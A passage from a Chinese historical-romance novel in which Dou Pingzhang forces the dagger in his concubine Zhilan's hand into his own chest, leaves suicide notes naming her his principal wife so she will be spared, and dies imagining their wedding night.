有那么一刻,芝兰紧张到喘不上气。窦平彰半跪身侧,眸色忽而变得认真,将她拳头握的很紧。轻轻出声,“若我死了,你能留下咱们的孩子吗?我该死,可它是无辜的……” 无辜?从他口中,竟也会听到无辜二字?芝兰美目上泛瞧他,冷笑却道:“大爷说笑了,您死了,奴也要被处死。孩子又怎么可能活呢?” “不,不!”窦平彰忽然道,“你不会死的!” 说他死时,窦平彰还没有这么大的反应。说到她死,他竟会如此激烈。芝兰感觉可笑,问他:“为什么?为什么我不会死?”窦平彰并没有回答。 下一刻。芝兰的手突然被他带着一动—— 一声吃痛的闷哼,匕首刺破胸膛! 她不可置信,瞪大眼睛,竟看见那渗透的血将衣裳染红,犹如一朵可怖的花。 “你、你……” 芝兰语无伦次,她曾设想过好几种法子毒死他,杀了他,却唯独没料今日这出。竟会是他握住她的手,用力刺破了胸膛!窦平彰的体力逐渐消散,却怕吓到她,强撑着拔出匕首,丢到地上。 他左手捂紧胸口,痛苦万分,再也撑不住地朝右倒去。 一只颤巍巍的手,抚上芝兰愕然的脸,“如今大仇得报,你该满意了吧?只是我死前偏不死心,还想知道你会不会为我心疼,哪怕只有一刻?” 芝兰木讷,喉咙吐不出话。 窦平彰咳着咳着笑了:“罢、罢、罢,无妨,我早料到了……”他呼出一口气,强撑着笑到最后:“我死之后,你帮我好生待藤娘和孩子,清风馆都交给你了。你要记住,我不是你杀的,我是自弑。记得收拾干净些,别让人怀疑,遗书我都留好了,就在……. 窦平彰朝一个方向指去。 芝兰紧忙赶去。案桌上,她挪开一对双凤大红烛台。台底果然,赫赫压着一封信! 这是封遗书。 窦平彰最后留的,保她命的遗书,一共两份。 一份压在烛台之下。 而另一份,已经托人,明日天明便递交窦洪手上。 洋洋洒洒的字,他交代了自己的自弑。父母不爱,手足不亲。经年荒度,孑然于世,仍盼来生。除此之外,还要坚定立芝兰为正室,要她和孩子好好活着,这一世安然无虞。 可惜他的芝兰不识字,却无法在这刻看见他的心。 不过无妨,不爱便不会忧痛。 他希望他的死能化解她的恨,今后和孩子好好活下去。也宁愿她永不爱他,锦衣玉食,顺意舒心的过一辈子。 最后一眼,窦平彰望向桌边纤瘦的背影,这是芝兰,他的芝兰。他的娘子,他孩子的母亲,他余生的希冀。可是他最终撑不下去了。 阖上双眼的刹那,他似乎看见满天华光,一抹极艳的红,就如她嫁衣一角。明明,他们没能堂堂正正成婚过。窦平彰却好像看到——他们大婚的一夜: 爆竹声中,宾客团簇。人人恭贺喜结连理的他们。一对凤烛燃尽彻夜,红帐重重。她褪尽华衣,只剩白素。就这样静静依偎在他怀里,说笑到天明……